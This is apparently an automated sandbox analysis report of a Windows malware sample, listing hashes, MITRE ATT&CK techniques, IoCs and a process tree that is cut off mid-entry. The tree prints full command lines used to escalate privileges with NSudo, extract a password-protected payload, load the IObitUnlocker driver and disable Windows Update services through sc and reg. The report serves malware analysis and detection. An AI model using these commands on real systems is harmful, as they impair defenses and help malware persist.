8f88b65721a803883edf28f1d95e8c631fdd9e71f32d4e642e53cfe1a7ef0796

Analysis

max time kernel
149s
max time network
106s
platform
windows11-21h2_x64
resource
win11-20251015-en
resource tags

arch:x64arch:x86image:win11-20251015-enlocale:en-usos:windows11-21h2-x64system
submitted
16/10/2025, 07:17

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
random.exe
Size 3.6MB
Sample251016-h4wpdatpw2
SHA256 8f88b65721a803883edf28f1d95e8c631fdd9e71f32d4e642e53cfe1a7ef0796
MD5 5f3dbbf6fab44e2d664c9a6a3aae55ed
SHA1 d32d5abb31d97888dfe8d61af55e9818d3cc89f7
SHA512 184035b37525b61e43040f8ba290975f8632f3799e85e139ea3ab1f8d1e77eeb3db666c0d6357d90678b50dbc2b73aabc945fc3b1cc8d1cabfa9f4618a83c0cf
SSDEEP 98304:adT3RYPkRcZhm1VT5l6KG3r4hbtF6xT8/0BntE5f:EFiZY1VH6T4RZ0lKf
MD5 SHA1 SHA512 SSDEEP

Score

9^/10

defense_evasion discovery execution persistence

Malware Config

Signatures

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 3 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	rase.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	rase.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	rase.exe

Sets service image path in registry 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\IObitUnlocker\ImagePath = "C:\\Users\\Admin\\AppData\\Local\\Temp\\IObitUnlocker\\IObitUnlocker.sys"	rase.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\IObitUnlocker\ImagePath = "C:\\Users\\Admin\\AppData\\Local\\Temp\\IObitUnlocker\\IObitUnlocker.sys"	rase.exe

Checks BIOS information in registry 2 TTPs 6 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rase.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	rase.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rase.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	rase.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rase.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	rase.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Executes dropped EXE 20 IoCs

pid	Process
976	nircmd.exe
6068	NSudoLG.exe
3400	7z.exe
3404	rase.exe
2332	rase.exe
1476	rase.exe
1996	IObitUnlocker.exe
2520	IObitUnlocker.exe
2308	IObitUnlocker.exe
5288	IObitUnlocker.exe
5816	IObitUnlocker.exe
2460	IObitUnlocker.exe
4748	IObitUnlocker.exe
6080	IObitUnlocker.exe
4064	IObitUnlocker.exe
5700	IObitUnlocker.exe
4416	IObitUnlocker.exe
432	IObitUnlocker.exe
4352	IObitUnlocker.exe
1616	IObitUnlocker.exe

Identifies Wine through registry keys 2 TTPs 3 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2318277690-2490144949-3346562762-1000\Software\Wine	rase.exe
Key opened	\REGISTRY\USER\S-1-5-21-2318277690-2490144949-3346562762-1000\Software\Wine	rase.exe
Key opened	\REGISTRY\USER\S-1-5-21-2318277690-2490144949-3346562762-1000\Software\Wine	rase.exe

Loads dropped DLL 14 IoCs

pid	Process
1996	IObitUnlocker.exe
2520	IObitUnlocker.exe
2308	IObitUnlocker.exe
5288	IObitUnlocker.exe
5816	IObitUnlocker.exe
2460	IObitUnlocker.exe
4748	IObitUnlocker.exe
6080	IObitUnlocker.exe
4064	IObitUnlocker.exe
5700	IObitUnlocker.exe
4416	IObitUnlocker.exe
432	IObitUnlocker.exe
4352	IObitUnlocker.exe
1616	IObitUnlocker.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Enumerates processes with tasklist 1 TTPs 1 IoCs

discovery

Process Discovery

T1057

pid	Process
4632	tasklist.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs

pid	Process
3404	rase.exe
2332	rase.exe
1476	rase.exe

Launches sc.exe 17 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2500	sc.exe
4636	sc.exe
6120	sc.exe
5152	sc.exe
2864	sc.exe
2852	sc.exe
2592	sc.exe
8	sc.exe
2488	sc.exe
4056	sc.exe
1548	sc.exe
2692	sc.exe
5624	sc.exe
2992	sc.exe
4396	sc.exe
5952	sc.exe
3956	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IObitUnlocker.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rase.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IObitUnlocker.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	random.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	7z.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IObitUnlocker.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IObitUnlocker.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IObitUnlocker.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rase.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IObitUnlocker.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rase.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IObitUnlocker.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IObitUnlocker.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	chcp.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IObitUnlocker.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	find.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	find.exe

Kills process with taskkill 3 IoCs

defense_evasion

pid	Process
6108	taskkill.exe
672	taskkill.exe
2344	taskkill.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\Personalize\AppsUseLightTheme = "0"	reg.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\Personalize	reg.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\Personalize	reg.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
1328	reg.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
6068	NSudoLG.exe
6068	NSudoLG.exe
3404	rase.exe
3404	rase.exe
2332	rase.exe
2332	rase.exe
1476	rase.exe
1476	rase.exe
1996	IObitUnlocker.exe
1996	IObitUnlocker.exe
1996	IObitUnlocker.exe
1996	IObitUnlocker.exe
2520	IObitUnlocker.exe
2520	IObitUnlocker.exe
2520	IObitUnlocker.exe
2520	IObitUnlocker.exe
2308	IObitUnlocker.exe
2308	IObitUnlocker.exe
2308	IObitUnlocker.exe
2308	IObitUnlocker.exe
5288	IObitUnlocker.exe
5288	IObitUnlocker.exe
5288	IObitUnlocker.exe
5288	IObitUnlocker.exe
5816	IObitUnlocker.exe
5816	IObitUnlocker.exe
5816	IObitUnlocker.exe
5816	IObitUnlocker.exe
2460	IObitUnlocker.exe
2460	IObitUnlocker.exe
2460	IObitUnlocker.exe
2460	IObitUnlocker.exe
4748	IObitUnlocker.exe
4748	IObitUnlocker.exe
4748	IObitUnlocker.exe
4748	IObitUnlocker.exe
6080	IObitUnlocker.exe
6080	IObitUnlocker.exe
6080	IObitUnlocker.exe
6080	IObitUnlocker.exe
4064	IObitUnlocker.exe
4064	IObitUnlocker.exe
4064	IObitUnlocker.exe
4064	IObitUnlocker.exe
5700	IObitUnlocker.exe
5700	IObitUnlocker.exe
5700	IObitUnlocker.exe
5700	IObitUnlocker.exe
4416	IObitUnlocker.exe
4416	IObitUnlocker.exe
4416	IObitUnlocker.exe
4416	IObitUnlocker.exe
432	IObitUnlocker.exe
432	IObitUnlocker.exe
432	IObitUnlocker.exe
432	IObitUnlocker.exe
4352	IObitUnlocker.exe
4352	IObitUnlocker.exe
4352	IObitUnlocker.exe
4352	IObitUnlocker.exe
1616	IObitUnlocker.exe
1616	IObitUnlocker.exe
1616	IObitUnlocker.exe
1616	IObitUnlocker.exe

Suspicious behavior: LoadsDriver 28 IoCs

pid	Process
680	Process not Found
680	Process not Found
680	Process not Found
680	Process not Found
680	Process not Found
680	Process not Found
680	Process not Found
680	Process not Found
680	Process not Found
680	Process not Found
680	Process not Found
680	Process not Found
680	Process not Found
680	Process not Found
680	Process not Found
680	Process not Found
680	Process not Found
680	Process not Found
680	Process not Found
680	Process not Found
680	Process not Found
680	Process not Found
680	Process not Found
680	Process not Found
680	Process not Found
680	Process not Found
680	Process not Found
680	Process not Found

Suspicious use of AdjustPrivilegeToken 13 IoCs

description	pid	Process
Token: SeDebugPrivilege	6068	NSudoLG.exe
Token: SeDebugPrivilege	4632	tasklist.exe
Token: SeRestorePrivilege	3400	7z.exe
Token: 35	3400	7z.exe
Token: SeSecurityPrivilege	3400	7z.exe
Token: SeSecurityPrivilege	3400	7z.exe
Token: SeDebugPrivilege	672	taskkill.exe
Token: SeRestorePrivilege	5960	reg.exe
Token: SeRestorePrivilege	1672	reg.exe
Token: SeLoadDriverPrivilege	2332	rase.exe
Token: SeDebugPrivilege	2344	taskkill.exe
Token: SeLoadDriverPrivilege	1476	rase.exe
Token: SeDebugPrivilege	6108	taskkill.exe

Suspicious use of SetWindowsHookEx 14 IoCs

pid	Process
1996	IObitUnlocker.exe
2520	IObitUnlocker.exe
2308	IObitUnlocker.exe
5288	IObitUnlocker.exe
5816	IObitUnlocker.exe
2460	IObitUnlocker.exe
4748	IObitUnlocker.exe
6080	IObitUnlocker.exe
4064	IObitUnlocker.exe
5700	IObitUnlocker.exe
4416	IObitUnlocker.exe
432	IObitUnlocker.exe
4352	IObitUnlocker.exe
1616	IObitUnlocker.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5400 wrote to memory of 5300	5400	random.exe	78
PID 5400 wrote to memory of 5300	5400	random.exe	78
PID 5400 wrote to memory of 5300	5400	random.exe	78
PID 5300 wrote to memory of 976	5300	cmd.exe	80
PID 5300 wrote to memory of 976	5300	cmd.exe	80
PID 5300 wrote to memory of 4080	5300	cmd.exe	81
PID 5300 wrote to memory of 4080	5300	cmd.exe	81
PID 5300 wrote to memory of 4080	5300	cmd.exe	81
PID 5300 wrote to memory of 6112	5300	cmd.exe	82
PID 5300 wrote to memory of 6112	5300	cmd.exe	82
PID 5300 wrote to memory of 6112	5300	cmd.exe	82
PID 5300 wrote to memory of 5184	5300	cmd.exe	83
PID 5300 wrote to memory of 5184	5300	cmd.exe	83
PID 5300 wrote to memory of 5184	5300	cmd.exe	83
PID 5300 wrote to memory of 6068	5300	cmd.exe	84
PID 5300 wrote to memory of 6068	5300	cmd.exe	84
PID 5300 wrote to memory of 3196	5300	cmd.exe	85
PID 5300 wrote to memory of 3196	5300	cmd.exe	85
PID 5300 wrote to memory of 3196	5300	cmd.exe	85
PID 5300 wrote to memory of 4376	5300	cmd.exe	86
PID 5300 wrote to memory of 4376	5300	cmd.exe	86
PID 5300 wrote to memory of 4376	5300	cmd.exe	86
PID 5300 wrote to memory of 6116	5300	cmd.exe	87
PID 5300 wrote to memory of 6116	5300	cmd.exe	87
PID 5300 wrote to memory of 6116	5300	cmd.exe	87
PID 5300 wrote to memory of 5132	5300	cmd.exe	88
PID 5300 wrote to memory of 5132	5300	cmd.exe	88
PID 5300 wrote to memory of 5132	5300	cmd.exe	88
PID 5300 wrote to memory of 3540	5300	cmd.exe	89
PID 5300 wrote to memory of 3540	5300	cmd.exe	89
PID 5300 wrote to memory of 3540	5300	cmd.exe	89
PID 3540 wrote to memory of 4632	3540	cmd.exe	90
PID 3540 wrote to memory of 4632	3540	cmd.exe	90
PID 3540 wrote to memory of 4632	3540	cmd.exe	90
PID 5300 wrote to memory of 4840	5300	cmd.exe	92
PID 5300 wrote to memory of 4840	5300	cmd.exe	92
PID 5300 wrote to memory of 4840	5300	cmd.exe	92
PID 5300 wrote to memory of 4936	5300	cmd.exe	93
PID 5300 wrote to memory of 4936	5300	cmd.exe	93
PID 5300 wrote to memory of 4936	5300	cmd.exe	93
PID 5300 wrote to memory of 4952	5300	cmd.exe	94
PID 5300 wrote to memory of 4952	5300	cmd.exe	94
PID 5300 wrote to memory of 4952	5300	cmd.exe	94
PID 5300 wrote to memory of 4980	5300	cmd.exe	95
PID 5300 wrote to memory of 4980	5300	cmd.exe	95
PID 5300 wrote to memory of 4980	5300	cmd.exe	95
PID 5300 wrote to memory of 5008	5300	cmd.exe	96
PID 5300 wrote to memory of 5008	5300	cmd.exe	96
PID 5300 wrote to memory of 5008	5300	cmd.exe	96
PID 5300 wrote to memory of 5024	5300	cmd.exe	97
PID 5300 wrote to memory of 5024	5300	cmd.exe	97
PID 5300 wrote to memory of 5024	5300	cmd.exe	97
PID 5300 wrote to memory of 4996	5300	cmd.exe	98
PID 5300 wrote to memory of 4996	5300	cmd.exe	98
PID 5300 wrote to memory of 4996	5300	cmd.exe	98
PID 5300 wrote to memory of 3396	5300	cmd.exe	99
PID 5300 wrote to memory of 3396	5300	cmd.exe	99
PID 5300 wrote to memory of 3396	5300	cmd.exe	99
PID 5300 wrote to memory of 4560	5300	cmd.exe	100
PID 5300 wrote to memory of 4560	5300	cmd.exe	100
PID 5300 wrote to memory of 4560	5300	cmd.exe	100
PID 5300 wrote to memory of 5048	5300	cmd.exe	101
PID 5300 wrote to memory of 5048	5300	cmd.exe	101
PID 5300 wrote to memory of 5048	5300	cmd.exe	101

C:\Users\Admin\AppData\Local\Temp\random.exe
"C:\Users\Admin\AppData\Local\Temp\random.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:5400
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\q7yQMYG.bat" "
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5300
- - C:\Users\Admin\AppData\Local\Temp\barer\nircmd.exe
    nircmd win min process "cmd.exe"
    3⤵
    - Executes dropped EXE
    PID:976
- - C:\Windows\SysWOW64\chcp.com
    chcp 65001
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4080
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKU\S-1-5-19"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:6112
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKU\S-1-5-18\Software\Microsoft\Windows\CurrentVersion\Themes\Personalize" /v "AppsUseLightTheme" /t reg_dword /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies data under HKEY_USERS
    PID:5184
- - C:\Users\Admin\AppData\Local\Temp\barer\NSudoLG.exe
    NSudoLG -U:T -P:E -UseCurrentConsole "C:\Users\Admin\AppData\Local\Temp\q7yQMYG.bat" any_word
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:6068
- - C:\Windows\SysWOW64\mode.com
    Mode 79,49
    3⤵
    PID:3196
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ver
    3⤵
    PID:4376
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:6116
- - C:\Windows\SysWOW64\find.exe
    find /i "0x0"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5132
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c tasklist
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3540
  - - C:\Windows\SysWOW64\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4632
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKLM\System\CurrentControlSet\Services\WinDefend"
    3⤵
    PID:4840
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKLM\System\CurrentControlSet\Services\MDCoreSvc"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4936
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKLM\System\CurrentControlSet\Services\WdNisSvc"
    3⤵
    PID:4952
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKLM\System\CurrentControlSet\Services\Sense"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4980
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKLM\System\CurrentControlSet\Services\wscsvc"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5008
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKLM\System\CurrentControlSet\Services\SgrmBroker"
    3⤵
    PID:5024
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKLM\System\CurrentControlSet\Services\SecurityHealthService"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4996
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKLM\System\CurrentControlSet\Services\webthreatdefsvc"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3396
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKLM\System\CurrentControlSet\Services\webthreatdefusersvc"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4560
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKLM\System\CurrentControlSet\Services\WdNisDrv"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5048
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKLM\System\CurrentControlSet\Services\WdBoot"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5316
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKLM\System\CurrentControlSet\Services\WdFilter"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3120
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKLM\System\CurrentControlSet\Services\SgrmAgent"
    3⤵
    PID:3472
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKLM\System\CurrentControlSet\Services\MsSecWfp"
    3⤵
    PID:3536
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKLM\System\CurrentControlSet\Services\MsSecFlt"
    3⤵
    PID:2396
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKLM\System\CurrentControlSet\Services\MsSecCore"
    3⤵
    PID:2376
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" ver "
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5168
- - C:\Windows\SysWOW64\findstr.exe
    findstr /c:"6.1.7601"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5524
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion" /v "ProductName"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1052
- - C:\Windows\SysWOW64\find.exe
    find /i "Windows 7"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2124
- - C:\Windows\SysWOW64\reg.exe
    reg query HKLM\System\CurrentControlset\Services\WdFilter
    3⤵
    - Modifies registry key
    PID:1328
- - C:\Users\Admin\AppData\Local\Temp\barer\7z.exe
    7z x -aoa -bso0 -bsp1 "tape.zip" -p"kapcha" "rase.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:3400
- - C:\Users\Admin\AppData\Local\Temp\barer\rase.exe
    rase.exe /CurrentDiskSize
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:3404
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c sc query IObitUnlocker
      4⤵
      System Location Discovery: System Language Discovery
      PID:2428
    - - C:\Windows\SysWOW64\sc.exe
        
        sc query IObitUnlocker
        5⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:5952
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c taskkill /f /pid "3404"
      4⤵
      System Location Discovery: System Language Discovery
      PID:5148
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /pid "3404"
        5⤵
        System Location Discovery: System Language Discovery
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:672
- - C:\Windows\SysWOW64\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:2500
- - C:\Windows\SysWOW64\sc.exe
    sc config wuauserv start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:4636
- - C:\Windows\SysWOW64\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:6120
- - C:\Windows\SysWOW64\sc.exe
    sc config dosvc start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:5152
- - C:\Windows\SysWOW64\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:2864
- - C:\Windows\SysWOW64\sc.exe
    sc config bits start= disabled
    3⤵
    - Launches sc.exe
    PID:2488
- - C:\Windows\SysWOW64\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:2852
- - C:\Windows\SysWOW64\sc.exe
    sc config UsoSvc start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:4056
- - C:\Windows\SysWOW64\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:2992
- - C:\Windows\SysWOW64\sc.exe
    sc config WaaSMedicSvc start= disabled
    3⤵
    - Launches sc.exe
    PID:4396
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f
    3⤵
    PID:1252
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate" /v DisableWindowsUpdateAccess /t REG_DWORD /d 1 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2628
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v "Start" /t REG_DWORD /d 4 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5256
- - C:\Windows\SysWOW64\reg.exe
    reg load HKLM\TEMP_SYSTEM C:\Windows\System32\config\SYSTEM
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:5960
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\TEMP_SYSTEM\ControlSet001\Services\wuauserv" /v Start /t REG_DWORD /d 4 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2400
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\TEMP_SYSTEM\ControlSet001\Services\UsoSvc" /v Start /t REG_DWORD /d 4 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:6124
- - C:\Windows\SysWOW64\reg.exe
